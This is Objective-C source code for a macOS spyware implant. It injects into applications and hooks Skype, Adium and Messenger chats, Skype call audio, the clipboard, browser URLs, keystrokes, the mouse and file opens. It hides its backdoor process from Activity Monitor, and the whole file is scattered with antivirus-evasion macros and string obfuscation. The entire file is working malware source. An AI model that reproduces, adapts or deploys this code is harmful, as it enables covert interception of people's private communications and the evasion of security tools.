infoLog(@"Hooking SkypeChat class"); #endif // Skype // In order to avoid a linker error for a missing implementation Class className = objc_getClass("SkypeChat"); // AV evasion: only on release build AV_GARBAGE_009 Class classSource = objc_getClass(kMySkypeChat); // AV evasion: only on release bu ild AV_GARBAGE_003 BOOL skypeRet = swizzleByAddingIMP (className, @selector(isMessageRecentlyDisplayed:), class_getMethodImplementation(classSource, @selector(isMessageRecentlyDisplayedHook:)), @selector(isMessageRecentlyDisplayedHook:)); /* HOOK: [SKConversation onMessage:(NSNumber) mesgID] po [SKConversation participants] <__NSArrayM 0xa31f430>( SKMyselfParticipant 0xd9cdb70 max-chiodo conversation=0xa31d2f0, SKParticipant 0xd9cfd60 alberto.ornaghi conversation=0xa31d2f0 ) [SKConversation messages] lastObject] [0xd990580 bodyTextSansXML] [0xd990580 author] */ // check if skype is 6.1 if (skypeRet == FALSE) { className = objc_getClass("SKConversation"); #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking SKConversation class"); #endif if (className != nil) { swizzleByAddingIMP (className, @selector(onMessage:), class_getMethodImplementation(classSource, @selector(onMessageHook:)), @selector(onMessageHook:)); } else { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking SKConversation class failed!"); #endif } } else { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking SkypeChat class done!"); #endif } // AV evasion: only on release build AV_GARBAGE_008 } else if([bundleIdentifier isEqualToString: @"com.adiumX.adiumX"]) { #ifdef DEBUG_IM_ADIUM infoLog(@"Hooking Adium"); #endif // AV evasion: only on release build AV_GARBAGE_003 char esetEvasionAIContentController[256]; sprintf(esetEvasionAIContentController, "AI%s%s", "Content", "Controller"); Class className = objc_getClass(esetEvasionAIContentController); // AV evasion: only on release build AV_GARBAGE_003 Class classSource = objc_getClass(kMyAIContentController); // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP(className, @selector(finishSendContentObject:), class_getMethodImplementation(classSource, @selector(myfinishSendContentObject:)), @selector(myfinishSendContentObject:)); // AV evasion: only on release build AV_GARBAGE_002 swizzleByAddingIMP(className, @selector(finishReceiveContentObject:), class_getMethodImplementation(classSource, @selector(myfinishReceiveContentObject:)), @selector(myfinishReceiveContentObject:)); // AV evasion: only on release build AV_GARBAGE_005 } } else if (imFlag == 3 && isSkypeVersionSupported()) { // AV evasion: only on release build AV_GARBAGE_009 imFlag = 0; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Unhooking IMs"); #endif // AV evasion: only on release build AV_GARBAGE_006 // In order to avoid a linker error for a missing implementation Class className = objc_getClass("SkypeChat"); // AV evasion: only on release build AV_GARBAGE_003 //swizzleMethod(className, @selector(isMessageRecentlyDisplayed:), // className, @selector(isMessageRecentlyDisplayedHook:)); // AV evasion: only on release build AV_GARBAGE_000 BOOL skypeRet = swizzleByAddingIMP (className, @selector(isMessageRecentlyDisplayed:), class_getMethodImplementation(className, @selector(isMessageRecentlyDisplayedHook:)), @selector(isMessageRecentlyDisplayedHook:)); if (skypeRet == FALSE) { className = objc_getClass("SKConversation"); if (className != nil) swizzleByAddingIMP (className, @selector(onMessage:), class_getMethodImplementation(className, @selector(onMessageHook:)), @selector(onMessageHook:)); } } if (clipboardFlag == 1) { // AV evasion: only on release build AV_GARBAGE_001 clipboardFlag = 2; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking clipboards"); #endif // AV evasion: only on release build AV_GARBAGE_004 // In order to avoid a linker error for a missing implementation Class className = objc_getClass("NSPasteboard"); // AV evasion: only on release build AV_GARBAGE_006 //swizzleMethod(className, @selector(setData:forType:), //className, @selector(setDataHook:forType:)); swizzleByAddingIMP(className, @selector(setData:forType:), class_getMethodImplementation(className, @selector(setDataHook:forType:)), @selector(setDataHook:forType:)); // AV evasion: only on release build AV_GARBAGE_007 } else if (clipboardFlag == 3) { // AV evasion: only on release build AV_GARBAGE_001 clipboardFlag = 0; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Unhooking clipboards"); #endif // AV evasion: only on release build AV_GARBAGE_007 // In order to avoid a linker error for a missing implementation Class className = objc_getClass("NSPasteboard"); // AV evasion: only on release build AV_GARBAGE_008 //swizzleMethod(className, @selector(setData:forType:), //className, @selector(setDataHook:forType:)); swizzleByAddingIMP(className, @selector(setData:forType:), class_getMethodImplementation(className, @selector(setDataHook:forType:)), @selector(setDataHook:forType:)); // AV evasion: only on release build AV_GARBAGE_009 } //if (voipFlag == 1 && isSkypeVersionSupported()) if (voipFlag == 1) { // AV evasion: only on release build AV_GARBAGE_006 voipFlag = 2; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking voip calls"); #endif mach_error_t mError; // AV evasion: only on release build AV_GARBAGE_003 // // Let's check which skype we have here // Looks like skype 5 doesn't implement few selectors available on // 2.x branch // Class className = objc_getClass("MacCallX"); // AV evasion: only on release build AV_GARBAGE_001 Class classSource = objc_getClass(kMyMacCallX); // AV evasion: only on release build AV_GARBAGE_002 Method method = class_getInstanceMethod(className, @selector(placeCallTo:)); // AV evasion: only on release build AV_GARBAGE_004 // // Dunno why but checking with respondsToSelector // doesn't work here... Odd // if (method != nil) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking skype 2.x"); #endif // AV evasion: only on release build AV_GARBAGE_000 // // We're dealing with skype 2.x // class_addMethod(className, @selector(checkActiveMembersName), class_getMethodImplementation(classSource, @selector(checkActiveMembersName)), "v@:"); // AV evasion: only on release build AV_GARBAGE_001 swizzleByAddingIMP(className, @selector(placeCallTo:), class_getMethodImplementation(classSource, @selector(placeCallToHook:)), @selector(placeCallToHook:)); // AV evasion: only on release build AV_GARBAGE_002 swizzleByAddingIMP(className, @selector(answer), class_getMethodImplementation(classSource, @selector(answerHook)), @selector(answerHook)); // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP(className, @selector(isFinished), class_getMethodImplementation(classSource, @selector(isFinishedHook)), @selector(isFinishedHook)); // AV evasion: only on release build AV_GARBAGE_004 if ((mError = mach_override("_AudioDeviceAddIOProc", "CoreAudio", (void *)&_hook_AudioDeviceAddIOProc, (void **)&_real_AudioDeviceAddIOProc))) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"mach_override error on AudioDeviceAddIOProc"); #endif } // AV evasion: only on release build AV_GARBAGE_003 if ((mError = mach_override("_AudioDeviceRemoveIOProc", "CoreAudio", (void *)&_hook_AudioDeviceRemoveIOProc, (void **)&_real_AudioDeviceRemoveIOProc))) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"mach_override error on AudioDeviceRemoveIOProc"); #endif } // AV evasion: only on release build AV_GARBAGE_008 // // For 2.x we can start hooking here since AddIOProc deals only // with input/output voice call (that is, no effects are managed // by registered procs) // VPSkypeStartAgent(); } else { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking skype 5.x"); #endif // AV evasion: only on release build AV_GARBAGE_009 Class c1 = objc_getClass("EventController"); // AV evasion: only on release build AV_GARBAGE_008 Class c2 = objc_getClass(kMyEventController); // AV evasion: only on release build AV_GARBAGE_007 swizzleByAddingIMP(c1, @selector(handleNotification:), class_getMethodImplementation(c2, @selector(handleNotificationHook:)), @selector(handleNotificationHook:)); // AV evasion: only on release build AV_GARBAGE_005 // // We're dealing with skype 5.x // if ((mError = mach_override("_AudioDeviceCreateIOProcID", "CoreAudio", (void *)&_hook_AudioDeviceCreateIOProcID, (void **)&_real_AudioDeviceCreateIOProcID))) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"mach_override error on AudioDeviceCreateIOProcID"); #endif } // AV evasion: only on release build AV_GARBAGE_003 if ((mError = mach_override("_AudioDeviceDestroyIOProcID", "CoreAudio", (void *)&_hook_AudioDeviceDestroyIOProcID, (void **)&_real_AudioDeviceDestroyIOProcID))) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"mach_override error on AudioDeviceDestroyIOProcID"); #endif } } // AV evasion: only on release build AV_GARBAGE_004 // // Those are shared among the different versions // and need to be hooked all the times // if ((mError = mach_override("_AudioDeviceStart", "CoreAudio", (void *)&_hook_AudioDeviceStart, (void **)&_real_AudioDeviceStart))) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"mach_override error on AudioDeviceStart"); #endif } // AV evasion: only on release build AV_GARBAGE_008 if ((mError = mach_override("_AudioDeviceStop", "CoreAudio", (void *)&_hook_AudioDeviceStop, (void **)&_real_AudioDeviceStop))) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"mach_override error"); #endif } } else if (voipFlag == 3) { // AV evasion: only on release build AV_GARBAGE_001 voipFlag = 0; // AV evasion: only on release build AV_GARBAGE_002 VPSkypeStopAgent(); #ifdef DEBUG_INPUT_MANAGER infoLog(@"Unhooking voip calls"); #endif // AV evasion: only on release build AV_GARBAGE_003 // In order to avoid a linker error for a missing implementation Class className = objc_getClass("MacCallX"); // AV evasion: only on release build AV_GARBAGE_004 Class classSource = objc_getClass(kMyMacCallX); // AV evasion: only on release build AV_GARBAGE_005 if ([className respondsToSelector: @selector(placeCallTo:)]) { // AV evasion: only on release build AV_GARBAGE_006 // // Skype 2.x // swizzleByAddingIMP(className, @selector(placeCallTo:), class_getMethodImplementation(classSource, @selector(placeCallToHook:)), @selector(placeCallToHook:)); // AV evasion: only on release build AV_GARBAGE_007 swizzleByAddingIMP(className, @selector(answer), class_getMethodImplementation(classSource, @selector(answerHook)), @selector(answerHook)); // AV evasion: only on release build AV_GARBAGE_008 } else { // AV evasion: only on release build AV_GARBAGE_007 // // Skype 5.x // Class c1 = objc_getClass("EventController"); // AV evasion: only on release build AV_GARBAGE_008 Class c2 = objc_getClass(kMyEventController); // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP(c1, @selector(handleNotification:), class_getMethodImplementation(c2, @selector(handleNotificationHook:)), @selector(handleNotificationHook:)); // AV evasion: only on release build AV_GARBAGE_005 } } if (fileFlag == 1) { // AV evasion: only on release build AV_GARBAGE_001 fileFlag = 2; #ifdef DEBUG_INPUT_MANAGER infoLog(@"Hooking for file capture"); #endif // AV evasion: only on release build AV_GARBAGE_002 Class className = objc_getClass("NSDocumentController"); // AV evasion: only on release build AV_GARBAGE_001 Class classSource = objc_getClass(kMyNSDocumentController); // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP(className, @selector(openDocumentWithContentsOfURL:display:error:), class_getMethodImplementation(classSource, @selector(openDocumentWithContentsOfURLHook:display:error:)), @selector(openDocumentWithContentsOfURLHook:display:error:)); // AV evasion: only on release build AV_GARBAGE_006 FCStartAgent(); } else if (fileFlag == 3) { // AV evasion: only on release build AV_GARBAGE_000 fileFlag = 0; // AV evasion: only on release build AV_GARBAGE_001 FCStopAgent(); // AV evasion: only on release build AV_GARBAGE_003 Class className = objc_getClass("NSDocumentController"); // AV evasion: only on release build AV_GARBAGE_002 Class classSource = objc_getClass(kMyNSDocumentController); // AV evasion: only on release build AV_GARBAGE_003 swizzleByAddingIMP(className, @selector(openDocumentWithContentsOfURL:display:error:), class_getMethodImplementation(classSource, @selector(openDocumentWithContentsOfURLHook:display:error:)), @selector(openDocumentWithContentsOfURLHook:display:error:)); // AV evasion: only on release build AV_GARBAGE_004 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Unhooking for file capture"); #endif } // AV evasion: only on release build AV_GARBAGE_003 sleep(1); // AV evasion: only on release build AV_GARBAGE_005 [innerPool release]; } [pool release]; } + (BOOL)initSharedMemory { // AV evasion: only on release build AV_GARBAGE_002 // // Initialize and attach to our Shared Memory regions // key_t memKeyForCommand = ftok([NSHomeDirectory() UTF8String], 3); // AV evasion: only on release build AV_GARBAGE_006 key_t memKeyForLogging = ftok([NSHomeDirectory() UTF8String], 5); // AV evasion: only on release build AV_GARBAGE_003 gMemLogMaxSize = sizeof(shMemoryLog) * SHMEM_LOG_MAX_NUM_BLOCKS; // AV evasion: only on release build AV_GARBAGE_007 mSharedMemoryCommand = [[__m_MSharedMemory alloc] initWithKey: memKeyForCommand size: gMemCommandMaxSize semaphoreName: SHMEM_SEM_NAME]; // AV evasion: only on release build AV_GARBAGE_006 if ([mSharedMemoryCommand createMemoryRegion] == -1) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Error while creating shared memory for commands"); #endif // AV evasion: only on release build AV_GARBAGE_008 [mSharedMemoryCommand release]; // AV evasion: only on release build AV_GARBAGE_003 return NO; } // AV evasion: only on release build AV_GARBAGE_003 mSharedMemoryLogging = [[__m_MSharedMemory alloc] initWithKey: memKeyForLogging size: gMemLogMaxSize semaphoreName: SHMEM_SEM_NAME]; // AV evasion: only on release build AV_GARBAGE_005 if ([mSharedMemoryLogging createMemoryRegion] == -1) { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Error while creating shared memory for logging"); #endif // AV evasion: only on release build AV_GARBAGE_003 [mSharedMemoryCommand release]; [mSharedMemoryLogging release]; return NO; } // // Now it's safe to attach // [mSharedMemoryCommand attachToMemoryRegion]; // AV evasion: only on release build AV_GARBAGE_007 [mSharedMemoryLogging attachToMemoryRegion]; // AV evasion: only on release build AV_GARBAGE_004 return YES; } + (void)checkAgentAtOffset: (uint32_t)offset { NSMutableData *readData; shMemoryCommand *shMemCommand; NSString *safariId = [NSString stringWithFormat:@"%@.%@.%@", @"com", @"apple", @"safari"]; // AV evasion: only on release build AV_GARBAGE_001 NSString *identifier = [[NSBundle mainBundle] bundleIdentifier]; // AV evasion: only on release build AV_GARBAGE_002 readData = [mSharedMemoryCommand readMemory: offset fromComponent: COMP_AGENT]; // AV evasion: only on release build AV_GARBAGE_005 shMemCommand = (shMemoryCommand *)[readData bytes]; // AV evasion: only on release build AV_GARBAGE_003 if (readData != nil) { switch (offset) { case OFFT_URL: { // AV evasion: only on release build AV_GARBAGE_009 if (urlFlag == 0 && shMemCommand->command == AG_START) { // AV evasion: only on release build AV_GARBAGE_002 if ([identifier isCaseInsensitiveLike: safariId] || [identifier isCaseInsensitiveLike: @"org.mozilla.firefox"]) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent URL"); #endif // AV evasion: only on release build AV_GARBAGE_009 urlFlag = 1; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Skipping (%@) for URL", identifier); #endif } } else if ((urlFlag == 1 || urlFlag == 2) && shMemCommand->command == AG_STOP) { // AV evasion: only on release build AV_GARBAGE_006 if ([identifier isCaseInsensitiveLike: safariId] || [identifier isCaseInsensitiveLike: @"org.mozilla.firefox"]) { // AV evasion: only on release build AV_GARBAGE_007 #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent URL"); #endif // AV evasion: only on release build AV_GARBAGE_008 urlFlag = 3; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Skipping (%@) for URL", identifier); #endif } } } break; case OFFT_APPLICATION: { if (appFlag == 0 && shMemCommand->command == AG_START) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent Application"); #endif // AV evasion: only on release build AV_GARBAGE_009 appFlag = 1; } else if ((appFlag == 1 || appFlag == 2) && shMemCommand->command == AG_STOP) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent Application"); #endif // AV evasion: only on release build AV_GARBAGE_000 appFlag = 3; } } break; case OFFT_KEYLOG: { if (keyboardFlag == 0 && shMemCommand->command == AG_START) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent Keylog"); #endif // AV evasion: only on release build AV_GARBAGE_008 keyboardFlag = 1; } else if ((keyboardFlag == 1 || keyboardFlag == 2) && shMemCommand->command == AG_STOP) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent Keylog"); #endif // AV evasion: only on release build AV_GARBAGE_004 keyboardFlag = 3; } } break; case OFFT_MOUSE: { if (mouseFlag == 0 && shMemCommand->command == AG_START) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent Mouse"); #endif // AV evasion: only on release build AV_GARBAGE_003 mouseFlag = 1; } else if ((mouseFlag == 1 || mouseFlag == 2) && shMemCommand->command == AG_STOP) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent Mouse"); #endif // AV evasion: only on release build AV_GARBAGE_006 mouseFlag = 3; } } break; case OFFT_VOIP: { if (voipFlag == 0 && shMemCommand->command == AG_START) { // AV evasion: only on release build AV_GARBAGE_001 if ([identifier isCaseInsensitiveLike: @"com.skype.skype"]) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent VOIP"); #endif // AV evasion: only on release build AV_GARBAGE_002 voipFlag = 1; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Skipping (%@) for VOIP", identifier); #endif } } else if ((voipFlag == 1 || voipFlag == 2) && shMemCommand->command == AG_STOP) { // AV evasion: only on release build AV_GARBAGE_007 if ([identifier isCaseInsensitiveLike: @"com.skype.skype"]) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent VOIP"); #endif // AV evasion: only on release build AV_GARBAGE_008 voipFlag = 3; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Skipping (%@) for VOIP", identifier); #endif } } } break; case OFFT_IM: { if (imFlag == 0 && shMemCommand->command == AG_START) { // AV evasion: only on release build AV_GARBAGE_009 if ([identifier isCaseInsensitiveLike: @"com.microsoft.messenger"] || [identifier isCaseInsensitiveLike: @"com.skype.skype"] || [identifier isCaseInsensitiveLike: @"com.adiumX.adiumX"]) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent IM"); #endif // AV evasion: only on release build AV_GARBAGE_007 imFlag = 1; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Skipping (%@) for IM", identifier); #endif } } else if ((imFlag == 1 || imFlag == 2) && shMemCommand->command == AG_STOP) { // AV evasion: only on release build AV_GARBAGE_005 if ([identifier isCaseInsensitiveLike: @"com.microsoft.messenger"] || [identifier isCaseInsensitiveLike: @"com.skype.skype"] || [identifier isCaseInsensitiveLike: @"com.adiumX.adiumX"]) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent IM"); #endif // AV evasion: only on release build AV_GARBAGE_004 imFlag = 3; } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Skipping (%@) for IM", identifier); #endif } } } break; case OFFT_CLIPBOARD: { if (clipboardFlag == 0 && shMemCommand->command == AG_START) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent Clipboard"); #endif // AV evasion: only on release build AV_GARBAGE_007 clipboardFlag = 1; } else if ((clipboardFlag == 1 || clipboardFlag == 2) && shMemCommand->command == AG_STOP) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent Clipboard"); #endif // AV evasion: only on release build AV_GARBAGE_002 clipboardFlag = 3; } } break; case OFFT_FILECAPTURE: { if (fileFlag == 0 && shMemCommand->command == AG_START) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Starting Agent FileCapture"); #endif // AV evasion: only on release build AV_GARBAGE_006 fileFlag = 1; } else if ((fileFlag == 1 || fileFlag == 2) && shMemCommand->command == AG_STOP) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Stopping Agent FileCapture"); #endif // AV evasion: only on release build AV_GARBAGE_008 fileFlag = 3; } } break; default: { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Invalid offset 0x%x", offset); #endif } } } else { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"data is nil at offset 0x%x", offset); #endif } } + (void)checkForCommands { // AV evasion: only on release build AV_GARBAGE_001 NSMutableData *readData; shMemoryCommand *shMemCommand; // AV evasion: only on release build AV_GARBAGE_004 while (isAppRunning == YES) { // AV evasion: only on release build AV_GARBAGE_005 readData = [mSharedMemoryCommand readMemory: OFFT_COMMAND fromComponent: COMP_AGENT]; // AV evasion: only on release build AV_GARBAGE_007 if (readData != nil) { // AV evasion: only on release build AV_GARBAGE_008 shMemCommand = (shMemoryCommand *)[readData bytes]; // AV evasion: only on release build AV_GARBAGE_004 switch (shMemCommand->command) { // AV evasion: only on release build AV_GARBAGE_003 case CR_REGISTER_SYNC_SAFARI: { // // Send reply, yes we can and start syncing // // AV evasion: only on release build AV_GARBAGE_001 NSMutableData *agentCommand = [[NSMutableData alloc] initWithLength: sizeof(shMemoryCommand)]; // AV evasion: only on release build AV_GARBAGE_002 shMemoryCommand *shMemoryHeader = (shMemoryCommand *)[agentCommand bytes]; shMemoryHeader->agentID = OFFT_COMMAND; // AV evasion: only on release build AV_GARBAGE_003 shMemoryHeader->direction = D_TO_CORE; shMemoryHeader->command = IM_CAN_SYNC_SAFARI; // AV evasion: only on release build AV_GARBAGE_004 if ([gSharedMemoryCommand writeMemory: agentCommand offset: OFFT_COMMAND fromComponent: COMP_CORE] == TRUE) { NSMutableData *syncConfig = [[NSMutableData alloc] initWithBytes: shMemCommand->commandData length: shMemCommand->commandDataSize ]; // AV evasion: only on release build AV_GARBAGE_008 // Ok, now sync bitch! /* __m_MCommunicationManager *commManager = [[__m_MCommunicationManager alloc] initWithConfiguration: syncConfig]; if ([commManager performSync] == FALSE) { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Sync failed from Safari"); #endif } else { #ifdef DEBUG_INPUT_MANAGER infoLog(@"Sync from Safari went OK!"); #endif } [commManager release]; */ [syncConfig release]; } break; } default: break; } } // AV evasion: only on release build AV_GARBAGE_003 usleep(7000); } } + (void)hideCoreFromAM { NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; // AV evasion: only on release build AV_GARBAGE_003 NSMutableData *readData; shMemoryCommand *shMemCommand; #ifdef DEBUG_INPUT_MANAGER verboseLog(@"[DYLIB] %s: reading from shared", __FUNCTION__); #endif // Get pid on shmem // waiting till core write it... while (TRUE) { // AV evasion: only on release build AV_GARBAGE_007 readData = [mSharedMemoryCommand readMemory: OFFT_CORE_PID fromComponent: COMP_AGENT]; // AV evasion: only on release build AV_GARBAGE_009 if (readData != nil) { // AV evasion: only on release build AV_GARBAGE_006 shMemCommand = (shMemoryCommand *)[readData bytes]; // AV evasion: only on release build AV_GARBAGE_005 #ifdef DEBUG_INPUT_MANAGER verboseLog(@"[DYLIB] %s: shmem", __FUNCTION__); #endif // AV evasion: only on release build AV_GARBAGE_002 if (shMemCommand->command == CR_CORE_PID) { // AV evasion: only on release build AV_GARBAGE_008 memcpy(&gBackdoorPID, shMemCommand->commandData, sizeof(pid_t)); #ifdef DEBUG_INPUT_MANAGER verboseLog(@"[DYLIB] %s: receiving core pid %d", __FUNCTION__, gBackdoorPID); #endif break; } } // AV evasion: only on release build AV_GARBAGE_009 usleep(30000); } // AV evasion: only on release build AV_GARBAGE_003 Class className = objc_getClass("SMProcessController"); // AV evasion: only on release build AV_GARBAGE_005 Class classSource = objc_getClass(kMySMProcessController); // AV evasion: only on release build AV_GARBAGE_002 if (className != nil) { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Class SMProcessController swizzling"); #endif // AV evasion: only on release build AV_GARBAGE_006 swizzleByAddingIMP(className, @selector(outlineView:numberOfChildrenOfItem:), class_getMethodImplementation(classSource, @selector(outlineViewHook:numberOfChildrenOfItem:)), @selector(outlineViewHook:numberOfChildrenOfItem:)); // AV evasion: only on release build AV_GARBAGE_000 swizzleByAddingIMP(className, @selector(filteredProcesses), class_getMethodImplementation(classSource, @selector(filteredProcessesHook)), @selector(filteredProcessesHook)); } else { #ifdef DEBUG_INPUT_MANAGER errorLog(@"Class SMProcessController not found"); #endif } // AV evasion: only on release build AV_GARBAGE_002 [pool release]; } + (void)startThreadCommunicator: (NSNotification *)_notification { #ifdef DEBUG_INPUT_MANAGER NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier]; infoLog(@"__m_MInputManager loaded by %@ at path %@", bundleIdentifier, [[NSBundle mainBundle] bundlePath]); #endif // AV evasion: only on release build AV_GARBAGE_004 [NSThread detachNewThreadSelector: @selector(startCoreCommunicator) toTarget: self withObject: nil]; // AV evasion: only on release build AV_GARBAGE_002 } + (void)closeThreadCommunicator: (NSNotification *)_notification { // AV evasion: only on release build AV_GARBAGE_004 isAppRunning = NO; } @end @interface mySMProcessController : NSObject - (id)filteredProcessesHook; - (int)outlineViewHook: (id)arg1 numberOfChildrenOfItem: (id)arg2; @end @implementation mySMProcessController - (int)outlineViewHook: (id)arg1 numberOfChildrenOfItem: (id)arg2 { // AV evasion: only on release build AV_GARBAGE_004 if (gBackdoorPID == 0) { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"gBackdoorPid not initialized"); #endif // AV evasion: only on release build AV_GARBAGE_003 return [self outlineViewHook: arg1 numberOfChildrenOfItem: arg2]; } // AV evasion: only on release build AV_GARBAGE_005 if (arg2 == nil) { #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Asking for how many processes"); #endif } // AV evasion: only on release build AV_GARBAGE_006 int a = [self outlineViewHook: arg1 numberOfChildrenOfItem: arg2]; #ifdef DEBUG_INPUT_MANAGER verboseLog(@"Total processes: %d", a); #endif // AV evasion: only on release build AV_GARBAGE_007 if (a > 0) return a - 1; else return a; } - (id)filteredProcessesHook { // AV evasion: only on release build AV_GARBAGE_001 if (gBackdoorPID == 0) { // AV evasion: only on release build AV_GARBAGE_002 return [self filteredProcessesHook]; } NSMutableArray *a = [[NSMutableArray alloc] initWithArray: [self filteredProcessesHook]]; int i = 0; // AV evasion: only on release build AV_GARBAGE_003 for (; i < [a count]; i++) { id object = [a objectAtIndex: i]; if ([[object performSelector: @selector(pid)] intValue] == gBackdoorPID) { // AV evasion: only on release build AV_GARBAGE_002 [a removeObject: object]; } // AV evasion: only on release build AV_GARBAGE_004 } // AV evasion: only on release build AV_GARBAGE_005 return a; } @end .